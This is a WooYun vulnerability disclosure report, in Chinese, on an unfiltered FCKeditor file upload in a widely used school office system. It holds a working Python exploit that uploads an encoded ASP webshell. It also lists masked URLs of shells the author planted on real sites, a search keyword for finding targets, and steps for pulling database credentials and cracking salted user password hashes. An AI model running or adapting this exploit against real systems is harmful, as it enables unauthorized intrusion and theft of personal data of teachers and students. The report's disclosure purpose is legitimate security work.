当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0153817

漏洞标题:某电子教学办公OA文件上传漏洞 影响上千家教育机构

相关厂商:有鸿通信公司

漏洞作者: 路人甲

提交时间:2015-11-20 17:12

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-20: 细节已通知厂商并且等待厂商处理中
2015-11-24: 厂商已经确认,细节仅向厂商公开
2015-12-04: 细节向核心白帽子及相关领域专家公开
2015-12-14: 细节向普通白帽子公开
2015-12-24: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

最近拿了一个站,从上面发现了该电子教学办公平台3.25版本,打开简单看了看就是一个完全没有任何过滤的上传漏洞,直接吓尿了。
该公司与30多个教育局和3000多家学校有业务关系,而且办公系统拖库之后可以拿到包括邮箱在内的大量用户数据。

详细说明:

先直接上一段粗略的POC代码。

#!/usr/bin/env python2
import os, sys, requests
if len(sys.argv) != 2:
sys.stderr.write('Usage: ' + sys.argv[0] + ' [Domain]\n')
url = 'http://' + sys.argv[1] + '/editor/filemanager/upload/aspx/upload.aspx'
headers = {'Content-Type': 'multipart/form-data; boundary=---------------------------55932780220353404171364403441'}
data = '-----------------------------55932780220353404171364403441\r\nContent-Disposition: form-data; name="NewFile"; filename="Gh0u1L5.asp"\r\nContent-Type: application/x-asp\r\n\r\n<%@ LANGUAGE = VBScript.Encode %>\r\n<%#@~^FwAAAA==n7ls,D;E/DcJVtTE8SXE*bAcAAA==^#~@%>\r\n-----------------------------55932780220353404171364403441--\r\n'
response = requests.post(url, data = data, headers = headers)
print response.content


漏洞文件就位于/editor/filemanager/upload/aspx/upload.aspx之中,应该是Fckeditor的某个组件,但是完全没有配置任何文件名方面的过滤,可能是100%信任用户吧……

漏洞证明:

Google关键字:Sunlinks OA .NET
以下是POC简单运行了一下之后拿到的Shell
http://**.**.**.**:82/UserUpload/201545/20151112141140273.asp
http://**.**.**.**:8080/UserUpload/201545/2015111214124826.asp
http://**.**.**.**:8090/UserUpload/201545/201511137239434.asp
http://**.**.**.**:8080/UserUpload/201545/201511137316930.asp
......
反正就是,随意复制粘贴一下就能拿到大量的Shell,读一下Web.config看看数据库连接字符串就能得到大量用户数据,邮箱啊手机啊QQ啊。用户密码的加密方式有点与众不同没法直接反查,但是算法逆向起来很简单。两层SHA算法加盐,盐值就是最后的四位十六进制数,写段程序把常见密码跑一下就可以解出来很多。

修复方案:

感觉,起码配置个白名单吧。懒的话就直接把Editor删了,我测试过程中遇到的几个网站好像就这么干了。
注入方面我也看了看,参数不做任何过滤就直接放进SQL查询了,目测我一会儿能挖出一个重置所有用户密码的漏洞。然后,账号好象是自动分配的,命名规则也过于简单,比如教师就是T0001之类的,用户名直接穷举都没问题。
说起来,漏洞修复的最直接方案,大概是把这个系统删了……我测试过程中遇到一个网站直接把users这个表给删了,完全废弃这套办公系统了……

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-24 18:26

厂商回复:

CNVD未直接复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无